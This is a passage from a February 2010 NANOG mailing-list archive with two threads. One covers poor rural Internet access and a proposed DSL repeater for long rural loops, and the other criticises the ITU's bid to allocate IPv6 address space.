the springfield area. that will slowly extend to the town as I can get there. On 2/26/10 4:45 PM, Daniel Senie wrote: > From what I've read, they may well get higher bandwidth out to the town centers on fiber. There has been little discussion of how to distribute from there. I suppose Verizon, the only company offering anything out there, will take advantage and use the fiber to improve speeds in the centers of towns. But there's no CATV in most of the hill towns, and unless MBI intends to stretch fiber out to the neighborhoods, I remain skeptical. > > Today, most of the town halls have public access wifi, and people drive up and sit in their cars and get their email that way. This isn't a solution. > > > On Feb 26, 2010, at 4:40 PM, James Jones wrote: > > >> The Massachusetts Broadband Institute is currently working a middle mile solution to help with some of the issues in western ma. Thing do sound promising. >> >> >> On 2/26/10 4:34 PM, Michael Sokolov wrote: >> >>> Daniel Senie wrote: >>> >>> >>> >>>> Better than western Massachusetts, where there's just no connectivity at = >>>> all. Even dialup fails to function over crappy lines. >>>> >>>> >>> Hmm. Although I've never been to Western MA and hence have no idea what >>> the telecom situation is like over there, I'm certainly aware of quite a >>> few places in "first world USA" where DSL is still a fantasy, let alone >>> fiber. >>> >>> As a local example, I have a friend in a rural area of Southern >>> California who can't get any kind of "high-speed Internet". I've run a >>> prequal on her address and it tells me she is 31 kft from the CO. The >>> CO in question has a Covad DSLAM in it, but at 31 kft those rural >>> residents' options are limited to either IDSL at 144 kbps (not much >>> point in that) or a T1 starting at ~$700/month. The latter figure is >>> typically well out of range for the kind of people who live in such >>> places. >>> >>> That got me thinking: ISDN/IDSL and T1 can be extended infinitely far >>> into the boondocks because those signal formats support repeaters. What >>> I'm wondering is how can we do the same thing with SDSL - and I mean >>> politically rather than technically. The technical part is easy: some >>> COs already have CLECs in them that serve G.shdsl (I've been told that >>> NEN does that) and for G.shdsl repeaters are part of the standard >>> (searching around shows a few vendors making them); in the case of >>> SDSL/2B1Q (Covad and DSL.net) there is no official support for repeaters >>> and hence no major vendors making such, but I can build such a repeater >>> unofficially. >>> >>> The difficulty is with the political part, and that's where I'm seeking >>> the wisdom of this list. How would one go about sticking a mid-span >>> repeater into an ILEC-owned 31 kft rural loop? From what I understand >>> (someone please correct me if I'm wrong!), when a CLEC orders a loop >>> from an ILEC, if it's for a T1 or IDSL, the CLEC actually orders a T1 or >>> ISDN BRI transport from the ILEC rather than a dry pair, and any >>> mid-span repeaters or HDSLx converters or the like become the >>> responsibility of the ILEC rather than the CLEC, right? >>> >>> So how could one extend this model to provide, say, repeatered G.shdsl >>> service to far-outlying rural subscribers? Is there some political >>> process (PUC/FCC/etc) by which an ILEC could be forced to allow a third >>> party to stick a repeater in the middle of their loop? Or would it have >>> to work by way of the ILEC providing a G.shdsl transport service to >>> CLECs, with the ILEC being responsible for the selection, procurement >>> and deployment of repeater hardware? And what if the ILEC is not >>> interested in providing such a service - any PUC/FCC/etc political >>> process via which they could be forced to cooperate? >>> >>> Things get even more complicated in those locations where the CO has a >>> Covad DSLAM in it serving out SDSL/2B1Q, but no other CLEC serving >>> G.shdsl. Even if the ILEC were to provide a G.shdsl transport service >>> with repeaters, it wouldn't help with SDSL/2B1Q. My idea involves >>> building a gadget in the form factor of a standard mid-span repeater >>> that would function as a converter from SDSL/2B1Q to G.shdsl: if the >>> loop calls for one mid-span repeater, stick this gadget in as if it >>> were that repeater; if the loop calls for 2 or more repeaters, use my >>> gadget as the first "repeater" and then standard G.shdsl repeaters >>> after it. But of course this idea is totally dependent on the ability >>> of a third party to stick these devices in the middle of long rural >>> loops, perhaps in the place of loading coils which are likely present >>> on such loops. >>> >>> Any ideas? >>> >>> MS >>> >>> >>> > From drc at virtualized.org Fri Feb 26 16:13:23 2010 From: drc at virtualized.org (David Conrad) Date: Fri, 26 Feb 2010 14:13:23 -0800 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <4B8843F4.9070108@foobar.org> References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> Message-ID: On Feb 26, 2010, at 1:58 PM, Nick Hilliard wrote: > On 26/02/2010 21:13, Antonio Querubin wrote: >> Some googling for 'itu ipv6' turns up the following (among other things): >> >> http://www.itu.int/net/ITU-T/ipv6/itudocs.aspx > > Wow, there are some real classics in there. Anyone in need of a good end-of-week belly laugh should take a look at "Delayed Contribution 93" and "Contribution 30". Given the folks who read/write these sorts of documents tend to make national laws attempting to implement the policies the documents describe, I'm not sure "belly laugh" is the right anatomical reaction. > The pitiful level of misunderstanding displayed by the authors of these documents is frightening. If you want to be really frightened, remember that the IPv4 free pool is going to be exhausted in something like 576 days. Given the lack of IPv6 deployment, the subsequent food fights that erupt as markets in IPv4 addresses are established are likely going to be "interesting". Politicians very much like to be seen to be "doing something" in interesting food fights. If this causes you any level of concern, for any of you going to APNIC, you might want to participate in http://www.apnic.net/publications/news/2010/apnic-29-consultation. Regards, -drc From tony at lava.net Fri Feb 26 16:26:06 2010 From: tony at lava.net (Antonio Querubin) Date: Fri, 26 Feb 2010 12:26:06 -1000 (HST) Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <4B8843F4.9070108@foobar.org> References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> Message-ID: On Fri, 26 Feb 2010, Nick Hilliard wrote: > The pitiful level of misunderstanding displayed by the authors of these > documents is frightening. Indeed. A username at domain is as valid a VOIP ID as is a traditional telephone number. And country coded TLDs can be moved around the net more easily than telephone country codes tied to a national carrier network. Antonio Querubin 808-545-5282 x3003 e-mail/xmpp: tony at lava.net From msokolov at ivan.Harhan.ORG Fri Feb 26 16:37:22 2010 From: msokolov at ivan.Harhan.ORG (Michael Sokolov) Date: Fri, 26 Feb 2010 22:37:22 GMT Subject: Locations with no good Internet (was ISP in Johannesburg) Message-ID: <1002262237.AA10692@ivan.Harhan.ORG> Brandon Galbraith wrote: > Get dry loops from the ILEC and place repeaters at strategic points? I guess I need a little more education on how the process of ordering dry pairs from an ILEC works. I thought it works like this: 1. You have to be colocated in the CO to begin with. 2. You give the ILEC the address of an end site and they run a dry pair from your cage within their CO to that address. 3. You don't get access to any intermediate points. As far as placing the repeaters at "strategic points", yeah, that's exactly what I meant, but my point was that these "strategic points" are owned by the ILEC, and I was/am wondering how to go about making it possible for a third party to stick repeater equipment in there. I envision the following picture: * There is a CO in a town, and there is a Covad DSLAM in that CO, serving those folks who are located in the town itself. * There is a winding mountain road going out of town into the countryside, and there are phone wires running alongside that road, several miles long. * There gotta be a bunch of cyan-colored cross-connect boxes on the side of the road, manholes and other places where the ILEC has mid-span access to those loooong loops. They also very likely have loading coils on loops like that, and although I confess that I've never seen one of those coils with my own eyes, I've heard that they are rather bulky in terms of physical dimensions, probably bigger than a repeater PCB. The problem is that these mid-span access points are property of the ILEC along with the rest of the loop plant, and although there probably exists an ILEC-internal procedure for installing mid-span repeaters for T1s and maybe ISDN BRI, that is most certainly done by the ILEC itself, not by any third parties. Making it possible for a third party to access those intermediate points to install repeater equipment which the ILEC won't understand (handling Covad's non-standard flavor of SDSL/2B1Q) is the problem I'm trying to solve. MS From jmamodio at gmail.com Fri Feb 26 16:42:45 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Fri, 26 Feb 2010 16:42:45 -0600 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <4B8843F4.9070108@foobar.org> References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> Message-ID: <202705b1002261442k70d5b923qe2a3000a6ef8cf64@mail.gmail.com> > The pitiful level of misunderstanding displayed by the authors of these > documents is frightening. Are the ITU folks planning to manage IPv6 address space allocations the same way they number their documents (ie no more than 100 docs per subject on the Y series) ? ;-} From Sam.Crooks at experian.com Fri Feb 26 16:51:18 2010 From: Sam.Crooks at experian.com (Crooks, Sam) Date: Fri, 26 Feb 2010 16:51:18 -0600 Subject: Locations with no good Internet (was ISP in Johannesburg) In-Reply-To: <1002262134.AA10367@ivan.Harhan.ORG> References: <1002262134.AA10367@ivan.Harhan.ORG> Message-ID: I had good luck getting my dad some form of broadband access in rural Oregon using a 3g router (Cradlepoint), a Wilson Electronics signal amp (model 811211), and an outdoor mount high gain antenna. It's not great, but considering the alternatives (33.6k dialup for $60/mo or satellite broadband for $150-$200/mo) it wasn't a bad deal for my dad when you consider that the dialup ISP + dedicated POTS line cost about as much as the 5GB 3G data plan does. Speed is somewhere between dialup and Uverse or FIOS. I get the sense that it is somewhere in the range of 256 - 512 kbps with high latency (Dad's not one for much in the way of network performance testing). > -----Original Message----- > From: Michael Sokolov [mailto:msokolov at ivan.Harhan.ORG] > Sent: Friday, February 26, 2010 3:35 PM > To: nanog at nanog.org > Subject: Locations with no good Internet (was ISP in Johannesburg) > > Daniel Senie wrote: > > > Better than western Massachusetts, where there's just no connectivity > at = > > all. Even dialup fails to function over crappy lines. > > Hmm. Although I've never been to Western MA and hence have no idea > what > the telecom situation is like over there, I'm certainly aware of quite > a > few places in "first world USA" where DSL is still a fantasy, let alone > fiber. > > As a local example, I have a friend in a rural area of Southern > California who can't get any kind of "high-speed Internet". I've run a > prequal on her address and it tells me she is 31 kft from the CO. The > CO in question has a Covad DSLAM in it, but at 31 kft those rural > residents' options are limited to either IDSL at 144 kbps (not much > point in that) or a T1 starting at ~$700/month. The latter figure is > typically well out of range for the kind of people who live in such > places. > > That got me thinking: ISDN/IDSL and T1 can be extended infinitely far > into the boondocks because those signal formats support repeaters. > What > I'm wondering is how can we do the same thing with SDSL - and I mean > politically rather than technically. The technical part is easy: some > COs already have CLECs in them that serve G.shdsl (I've been told that > NEN does that) and for G.shdsl repeaters are part of the standard > (searching around shows a few vendors making them); in the case of > SDSL/2B1Q (Covad and DSL.net) there is no official support for > repeaters > and hence no major vendors making such, but I can build such a repeater > unofficially. > > The difficulty is with the political part, and that's where I'm seeking > the wisdom of this list. How would one go about sticking a mid-span > repeater into an ILEC-owned 31 kft rural loop? From what I understand > (someone please correct me if I'm wrong!), when a CLEC orders a loop > from an ILEC, if it's for a T1 or IDSL, the CLEC actually orders a T1 > or > ISDN BRI transport from the ILEC rather than a dry pair, and any > mid-span repeaters or HDSLx converters or the like become the > responsibility of the ILEC rather than the CLEC, right? > > So how could one extend this model to provide, say, repeatered G.shdsl > service to far-outlying rural subscribers? Is there some political > process (PUC/FCC/etc) by which an ILEC could be forced to allow a third > party to stick a repeater in the middle of their loop? Or would it > have > to work by way of the ILEC providing a G.shdsl transport service to > CLECs, with the ILEC being responsible for the selection, procurement > and deployment of repeater hardware? And what if the ILEC is not > interested in providing such a service - any PUC/FCC/etc political > process via which they could be forced to cooperate? > > Things get even more complicated in those locations where the CO has a > Covad DSLAM in it serving out SDSL/2B1Q, but no other CLEC serving > G.shdsl. Even if the ILEC were to provide a G.shdsl transport service > with repeaters, it wouldn't help with SDSL/2B1Q. My idea involves > building a gadget in the form factor of a standard mid-span repeater > that would function as a converter from SDSL/2B1Q to G.shdsl: if the > loop calls for one mid-span repeater, stick this gadget in as if it > were that repeater; if the loop calls for 2 or more repeaters, use my > gadget as the first "repeater" and then standard G.shdsl repeaters > after it. But of course this idea is totally dependent on the ability > of a third party to stick these devices in the middle of long rural > loops, perhaps in the place of loading coils which are likely present > on such loops. > > Any ideas? > > MS From nonobvious at gmail.com Fri Feb 26 16:59:24 2010 From: nonobvious at gmail.com (Bill Stewart) Date: Fri, 26 Feb 2010 14:59:24 -0800 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> Message-ID: <18a5e7cb1002261459p2ef6ac14leb86ab384337c148@mail.gmail.com> Maybe I'm dense, but I don't see the problem. One of the great things about IPv6's address space being mindbogglingly large is that there's plenty of it to experiment with. If the ITU wants an RIR-sized block to do RIR-like work, so what? If they wanted a /2 or /4 I'd be concerned, or if there were many organizations out there that wanted RIR-sized chunks, but ITU's close enough to unique that they're not going to cause the space to run out. And sure, maybe they're sufficiently outdated and irrelevant that they could get by with a /16, but it might be interesting to have somebody assigning IPv6 addresses as :prefix:e164:host or whatever. (Admittedly, that made more sense back when e.164 addresses were 12 digits as opposed to the current 15.) -- ---- Thanks; Bill Note that this isn't my regular email account - It's still experimental so far. And Google probably logs and indexes everything you send it. From Wilson.Haney at PAETEC.com Fri Feb 26 17:04:43 2010 From: Wilson.Haney at PAETEC.com (Haney, Wilson) Date: Fri, 26 Feb 2010 17:04:43 -0600 Subject: Locations with no good Internet (was ISP in Johannesburg) In-Reply-To: References: <1002262134.AA10367@ivan.Harhan.ORG> Message-ID: As we all know it's expensive building out any landline network. Rural areas just get over looked. Check out this tech coming out of Motorola and to a Verizon/ATT tower near you soon. 100 Mbps possible off cellular signals. Looks like they will throttle it to 20 Mbps and less though. http://business.motorola.com/experiencelte/lte-depth.html http://news.techworld.com/networking/3203498/motorola-predicts-20mbps-download-speed-with-future-lte-networks/ WPH -----Original Message----- From: Crooks, Sam [mailto:Sam.Crooks at experian.com] Sent: Friday, February 26, 2010 4:51 PM To: Michael Sokolov; nanog at nanog.org Subject: RE: Locations with no good Internet (was ISP in Johannesburg) I had good luck getting my dad some form of broadband access in rural Oregon using a 3g router (Cradlepoint), a Wilson Electronics signal amp (model 811211), and an outdoor mount high gain antenna. It's not great, but considering the alternatives (33.6k dialup for $60/mo or satellite broadband for $150-$200/mo) it wasn't a bad deal for my dad when you consider that the dialup ISP + dedicated POTS line cost about as much as the 5GB 3G data plan does. Speed is somewhere between dialup and Uverse or FIOS. I get the sense that it is somewhere in the range of 256 - 512 kbps with high latency (Dad's not one for much in the way of network performance testing). > -----Original Message----- > From: Michael Sokolov [mailto:msokolov at ivan.Harhan.ORG] > Sent: Friday, February 26, 2010 3:35 PM > To: nanog at nanog.org > Subject: Locations with no good Internet (was ISP in Johannesburg) > > Daniel Senie wrote: > > > Better than western Massachusetts, where there's just no connectivity > at = > > all. Even dialup fails to function over crappy lines. > > Hmm. Although I've never been to Western MA and hence have no idea > what > the telecom situation is like over there, I'm certainly aware of quite > a > few places in "first world USA" where DSL is still a fantasy, let alone > fiber. > > As a local example, I have a friend in a rural area of Southern > California who can't get any kind of "high-speed Internet". I've run a > prequal on her address and it tells me she is 31 kft from the CO. The > CO in question has a Covad DSLAM in it, but at 31 kft those rural > residents' options are limited to either IDSL at 144 kbps (not much > point in that) or a T1 starting at ~$700/month. The latter figure is > typically well out of range for the kind of people who live in such > places. > > That got me thinking: ISDN/IDSL and T1 can be extended infinitely far > into the boondocks because those signal formats support repeaters. > What > I'm wondering is how can we do the same thing with SDSL - and I mean > politically rather than technically. The technical part is easy: some > COs already have CLECs in them that serve G.shdsl (I've been told that > NEN does that) and for G.shdsl repeaters are part of the standard > (searching around shows a few vendors making them); in the case of > SDSL/2B1Q (Covad and DSL.net) there is no official support for > repeaters > and hence no major vendors making such, but I can build such a repeater > unofficially. > > The difficulty is with the political part, and that's where I'm seeking > the wisdom of this list. How would one go about sticking a mid-span > repeater into an ILEC-owned 31 kft rural loop? From what I understand > (someone please correct me if I'm wrong!), when a CLEC orders a loop > from an ILEC, if it's for a T1 or IDSL, the CLEC actually orders a T1 > or > ISDN BRI transport from the ILEC rather than a dry pair, and any > mid-span repeaters or HDSLx converters or the like become the > responsibility of the ILEC rather than the CLEC, right? > > So how could one extend this model to provide, say, repeatered G.shdsl > service to far-outlying rural subscribers? Is there some political > process (PUC/FCC/etc) by which an ILEC could be forced to allow a third > party to stick a repeater in the middle of their loop? Or would it > have > to work by way of the ILEC providing a G.shdsl transport service to > CLECs, with the ILEC being responsible for the selection, procurement > and deployment of repeater hardware? And what if the ILEC is not > interested in providing such a service - any PUC/FCC/etc political > process via which they could be forced to cooperate? > > Things get even more complicated in those locations where the CO has a > Covad DSLAM in it serving out SDSL/2B1Q, but no other CLEC serving > G.shdsl. Even if the ILEC were to provide a G.shdsl transport service > with repeaters, it wouldn't help with SDSL/2B1Q. My idea involves > building a gadget in the form factor of a standard mid-span repeater > that would function as a converter from SDSL/2B1Q to G.shdsl: if the > loop calls for one mid-span repeater, stick this gadget in as if it > were that repeater; if the loop calls for 2 or more repeaters, use my > gadget as the first "repeater" and then standard G.shdsl repeaters > after it. But of course this idea is totally dependent on the ability > of a third party to stick these devices in the middle of long rural > loops, perhaps in the place of loading coils which are likely present > on such loops. > > Any ideas? > > MS From pbosworth at gmail.com Fri Feb 26 17:10:53 2010 From: pbosworth at gmail.com (Paul Bosworth) Date: Fri, 26 Feb 2010 18:10:53 -0500 Subject: Locations with no good Internet (was ISP in Johannesburg) In-Reply-To: References: <1002262134.AA10367@ivan.Harhan.ORG> Message-ID: <25b132e91002261510y68a1e615y7c4a769b45916c68@mail.gmail.com> I think a lot of people often forget that ISPs are actually businesses trying to turn a profit. At my last job we built out a fiber to the home ILEC in relatively rural Louisiana. This means that we had quite a number of customers that didn't meet the density requirements for deployment. Using made-up numbers for the sake of discussion, lets assume that a customer provides $1/month for service. If you can place deployment in a highly-dense area you'll make a lot more of those $1's per month with that investment. When you start deploying further to the edge you really slide into the "we're not even breaking even on this" market. Obviously anyone that has a job for profit knows that this is a no-no. As telcos deploy high-density technologies (fiber, metroE, etc) they can pull the legacy technology (xDSL, T1, etc) and push that to the edge. Unfortunately the edge is always going to get the hand-me-downs but it's better than nothing. My wife is from a tiny town in central PA (the vortex between Pittsburgh and Philly) and her parents have had dialup until last year, when the local telco finally pushed DSL to their location. They only draw 1.5meg but it's better than the 56k they were paying for. As they say in vegas, "It's just business, baby." On Fri, Feb 26, 2010 at 5:51 PM, Crooks, Sam wrote: > I had good luck getting my dad some form of broadband access in rural > Oregon using a 3g router (Cradlepoint), a Wilson Electronics signal amp > (model 811211), and an outdoor mount high gain antenna. It's not great, > but considering the alternatives (33.6k dialup for $60/mo or satellite > broadband for $150-$200/mo) it wasn't a bad deal for my dad when you > consider that the dialup ISP + dedicated POTS line cost about as much as > the 5GB 3G data plan does. > > Speed is somewhere between dialup and Uverse or FIOS. I get the sense > that it is somewhere in the range of 256 - 512 kbps with high latency > (Dad's not one for much in the way of network performance testing). > > > > > -----Original Message----- > > From: Michael Sokolov [mailto:msokolov at ivan.Harhan.ORG] > > Sent: Friday, February 26, 2010 3:35 PM > > To: nanog at nanog.org > > Subject: Locations with no good Internet (was ISP in Johannesburg) > > > > Daniel Senie wrote: > > > > > Better than western Massachusetts, where there's just no > connectivity > > at = > > > all. Even dialup fails to function over crappy lines. > > > > Hmm. Although I've never been to Western MA and hence have no idea > > what > > the telecom situation is like over there, I'm certainly aware of quite > > a > > few places in "first world USA" where DSL is still a fantasy, let > alone > > fiber. > > > > As a local example, I have a friend in a rural area of Southern > > California who can't get any kind of "high-speed Internet". I've run > a > > prequal on her address and it tells me she is 31 kft from the CO. The > > CO in question has a Covad DSLAM in it, but at 31 kft those rural > > residents' options are limited to either IDSL at 144 kbps (not much > > point in that) or a T1 starting at ~$700/month. The latter figure is > > typically well out of range for the kind of people who live in such > > places. > > > > That got me thinking: ISDN/IDSL and T1 can be extended infinitely far > > into the boondocks because those signal formats support repeaters. > > What > > I'm wondering is how can we do the same thing with SDSL - and I mean > > politically rather than technically. The technical part is easy: some > > COs already have CLECs in them that serve G.shdsl (I've been told that > > NEN does that) and for G.shdsl repeaters are part of the standard > > (searching around shows a few vendors making them); in the case of > > SDSL/2B1Q (Covad and DSL.net) there is no official support for > > repeaters > > and hence no major vendors making such, but I can build such a > repeater > > unofficially. > > > > The difficulty is with the political part, and that's where I'm > seeking > > the wisdom of this list. How would one go about sticking a mid-span > > repeater into an ILEC-owned 31 kft rural loop? From what I understand > > (someone please correct me if I'm wrong!), when a CLEC orders a loop > > from an ILEC, if it's for a T1 or IDSL, the CLEC actually orders a T1 > > or > > ISDN BRI transport from the ILEC rather than a dry pair, and any > > mid-span repeaters or HDSLx converters or the like become the > > responsibility of the ILEC rather than the CLEC, right? > > > > So how could one extend this model to provide, say, repeatered G.shdsl > > service to far-outlying rural subscribers? Is there some political > > process (PUC/FCC/etc) by which an ILEC could be forced to allow a > third > > party to stick a repeater in the middle of their loop? Or would it > > have > > to work by way of the ILEC providing a G.shdsl transport service to > > CLECs, with the ILEC being responsible for the selection, procurement > > and deployment of repeater hardware? And what if the ILEC is not > > interested in providing such a service - any PUC/FCC/etc political > > process via which they could be forced to cooperate? > > > > Things get even more complicated in those locations where the CO has a > > Covad DSLAM in it serving out SDSL/2B1Q, but no other CLEC serving > > G.shdsl. Even if the ILEC were to provide a G.shdsl transport service > > with repeaters, it wouldn't help with SDSL/2B1Q. My idea involves > > building a gadget in the form factor of a standard mid-span repeater > > that would function as a converter from SDSL/2B1Q to G.shdsl: if the > > loop calls for one mid-span repeater, stick this gadget in as if it > > were that repeater; if the loop calls for 2 or more repeaters, use my > > gadget as the first "repeater" and then standard G.shdsl repeaters > > after it. But of course this idea is totally dependent on the ability > > of a third party to stick these devices in the middle of long rural > > loops, perhaps in the place of loading coils which are likely present > > on such loops. > > > > Any ideas? > > > > MS > > > -- Paul H Bosworth GCFW, CCNP, CCIP, CCDP From brandon.galbraith at gmail.com Fri Feb 26 17:15:30 2010 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Fri, 26 Feb 2010 17:15:30 -0600 Subject: Locations with no good Internet (was ISP in Johannesburg) In-Reply-To: <25b132e91002261510y68a1e615y7c4a769b45916c68@mail.gmail.com> References: <1002262134.AA10367@ivan.Harhan.ORG> <25b132e91002261510y68a1e615y7c4a769b45916c68@mail.gmail.com> Message-ID: <366100671002261515t4fa41a99ve7c7b444b18cf841@mail.gmail.com> On Fri, Feb 26, 2010 at 5:10 PM, Paul Bosworth wrote: > I think a lot of people often forget that ISPs are actually businesses > trying to turn a profit. > There are alternatives though, if the need exists and folks are able: http://www.rric.net/ -- Brandon Galbraith Mobile: 630.400.6992 FNAL: 630.840.2141 From jmamodio at gmail.com Fri Feb 26 17:18:58 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Fri, 26 Feb 2010 17:18:58 -0600 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <18a5e7cb1002261459p2ef6ac14leb86ab384337c148@mail.gmail.com> References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> <18a5e7cb1002261459p2ef6ac14leb86ab384337c148@mail.gmail.com> Message-ID: <202705b1002261518k77a849cep1714fb4760b69b11@mail.gmail.com> > Maybe I'm dense, but I don't see the problem. It breaks the existing regional allocation and policy development process model establishing a second source that will probably not just want to "allocate" but also develop a parallel policy that will most probably not be consistent or compatible with the other RIR's. My .02 From smb at cs.columbia.edu Fri Feb 26 17:41:27 2010 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Fri, 26 Feb 2010 18:41:27 -0500 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> Message-ID: <20100226184127.7da9733b@cs.columbia.edu> On Fri, 26 Feb 2010 10:43:11 -0800 David Conrad wrote: > On Feb 26, 2010, at 10:22 AM, gordon b slater wrote: > > I must admit to total confusion over why they need to "grab" IPs > > from the v6 address space? Surely they don't need the equivalent of > > band-plans for IP space? Or have I missed some v6 technical point > > totally? > > The ITU Secretariat and a few member states (Syria being the most > frequent) point to the inequality of distribution of IPv4 space and > argue that developing countries must not be left out of IPv6 the same > way. They have also suggested that the establishment of "Country > Internet Registries" (that is, national PTT-based allocation > registries) could provide competition for the RIRs, thereby using > market forces to improve address allocation services. I think that "PTT" is the operative token here, but for reasons having nothing to do with competition. If all they wanted was competition, the easy answer would be to set up more registries -- or registrars -- not bounded by geography; as long as the number wasn't too large, it wouldn't do too much violence to the size of the routing tables. If a PTT-like body is *the* registry for a country, and if the country chose to require local ISPs and business to obtain address space from it, what's the natural prefix announcement to the world? Right -- that country's registry prefix, which means that all traffic to that country just naturally flows through the PTT's routers and DPI boxes. And it benefits everyone, right? It really cuts down on the number of prefixes we have to worry about.... It's funny -- just yesterday, I was telling my class that the Internet's connectivity was not like the pre-deregulation telco model. The latter had O(1) telco/country, with highly regulated interconnections to anywhere else. The Internet grew up under the radar, partly because of the deregulatory climate and partly because especially in the early days, it wasn't facilities-based -- if you wanted an international link to a peer or a branch office, you just leased the circuit. The result was much richer connectivity than in the telco world, and -- in some sense -- less "order". Syria wants to roll the clock back. --Steve Bellovin, http://www.cs.columbia.edu/~smb From jmamodio at gmail.com Fri Feb 26 17:49:18 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Fri, 26 Feb 2010 17:49:18 -0600 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <20100226184127.7da9733b@cs.columbia.edu> References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <20100226184127.7da9733b@cs.columbia.edu> Message-ID: <202705b1002261549s6bb160achf1c8ed789ab7163d@mail.gmail.com> > ?Syria wants to roll the clock back. Not only Syria, some developed countries want to have 100% control of the "big switch" to turn the net off/on, if possible on a packet by packet basis. PTT = Prehistoric Telecommunications Technologies ... IMHO the most important driving factor behind all these are just politics and power. -J From msokolov at ivan.Harhan.ORG Fri Feb 26 18:04:50 2010 From: msokolov at ivan.Harhan.ORG (Michael Sokolov) Date: Sat, 27 Feb 2010 00:04:50 GMT Subject: Locations with no good Internet (was ISP in Johannesburg) Message-ID: <1002270004.AA11084@ivan.Harhan.ORG> Brandon Galbraith wrote: > http://www.rric.net/ I'm very familiar with those folks of course, they've been an inspiration to me for a long time. However, my needs are different. RRIC's model basically involves a specific community with a well-defined boundary: bring the bandwidth into the community via a bulk feed, then sublet inside the community. But I don't have a specific community in mind - I'm trying to develop a more generic solution. (The case of my friend who is at 31 kft from a Covad-enabled CO is only an example and nothing more.) Again, consider a town with a Covad-enabled CO plus an outlying countryside. The people in the town proper already have Covad xDSL available to them, and if we could stick my SDSL/2B1Q repeater in the middle of some longer loops, it would enable the people in the countryside to get *exactly the same* Covad (or ISP-X-via-Covad) services as those in the town proper. My repeater approach would also allow me to stay out of ISP or ISP-like business which I really don't want to get into - I would rather just make hardware and let someone else operate it. A repeater is totally unlike a router, it is not IP-aware, it just makes the loop seem shorter, allowing farther-outlying users to connect to *existing* ISPs with an already established business structure. Anyway, I just saw a post on NANOG about an area deprived of "high-speed Internet" services and thought I would post my idea in the hope that someone would have some ideas that would actually be *helpful* to what I'm trying to do. If not - oh well, I'll just put the idea back on the dusty shelf in the back of my mind until I'm ready to try presenting it to the folks who own the CO-colocated DSLAMs it would have to work with - gotta finish a few other things before I open that can of worms in the earnest. MS From dts at senie.com Fri Feb 26 18:20:35 2010 From: dts at senie.com (Daniel Senie) Date: Fri, 26 Feb 2010 19:20:35 -0500 Subject: Locations with no good Internet (was ISP in Johannesburg) In-Reply-To: References: <1002262134.AA10367@ivan.Harhan.ORG> Message-ID: <643429FE-57D4-4B39-82FD-C5BC1A9637D9@senie.com> Hopefully someone will bother to cover the rural areas with cell service eventually. Much of western Massachusetts (by which I mean the Berkshires, more than I mean the Pioneer Valley) is not covered by cell service. Where there is cell service, most cell sites have only minimal data speeds. Vermont is far worse, as is much of Maine. If there were 3G cellular, it'd be a big step up. But I expect the inner cities will all be running LTE for years before more rural areas even get voice service. On Feb 26, 2010, at 6:04 PM, Haney, Wilson wrote: > As we all know it's expensive building out any landline network. Rural areas just get over looked. > > Check out this tech coming out of Motorola and to a Verizon/ATT tower near you soon. > > 100 Mbps possible off cellular signals. Looks like they will throttle it to 20 Mbps and less though. > > http://business.motorola.com/experiencelte/lte-depth.html > > http://news.techworld.com/networking/3203498/motorola-predicts-20mbps-download-speed-with-future-lte-networks/ > > WPH > > -----Original Message----- > From: Crooks, Sam [mailto:Sam.Crooks at experian.com] > Sent: Friday, February 26, 2010 4:51 PM > To: Michael Sokolov; nanog at nanog.org > Subject: RE: Locations with no good Internet (was ISP in Johannesburg) > > I had good luck getting my dad some form of broadband access in rural > Oregon using a 3g router (Cradlepoint), a Wilson Electronics signal amp > (model 811211), and an outdoor mount high gain antenna. It's not great, > but considering the alternatives (33.6k dialup for $60/mo or satellite > broadband for $150-$200/mo) it wasn't a bad deal for my dad when you > consider that the dialup ISP + dedicated POTS line cost about as much as > the 5GB 3G data plan does. > > Speed is somewhere between dialup and Uverse or FIOS. I get the sense > that it is somewhere in the range of 256 - 512 kbps with high latency > (Dad's not one for much in the way of network performance testing). > > > >> -----Original Message----- >> From: Michael Sokolov [mailto:msokolov at ivan.Harhan.ORG] >> Sent: Friday, February 26, 2010 3:35 PM >> To: nanog at nanog.org >> Subject: Locations with no good Internet (was ISP in Johannesburg) >> >> Daniel Senie wrote: >> >>> Better than western Massachusetts, where there's just no > connectivity >> at = >>> all. Even dialup fails to function over crappy lines. >> >> Hmm. Although I've never been to Western MA and hence have no idea >> what >> the telecom situation is like over there, I'm certainly aware of quite >> a >> few places in "first world USA" where DSL is still a fantasy, let > alone >> fiber. >> >> As a local example, I have a friend in a rural area of Southern >> California who can't get any kind of "high-speed Internet". I've run > a >> prequal on her address and it tells me she is 31 kft from the CO. The >> CO in question has a Covad DSLAM in it, but at 31 kft those rural >> residents' options are limited to either IDSL at 144 kbps (not much >> point in that) or a T1 starting at ~$700/month. The latter figure is >> typically well out of range for the kind of people who live in such >> places. >> >> That got me thinking: ISDN/IDSL and T1 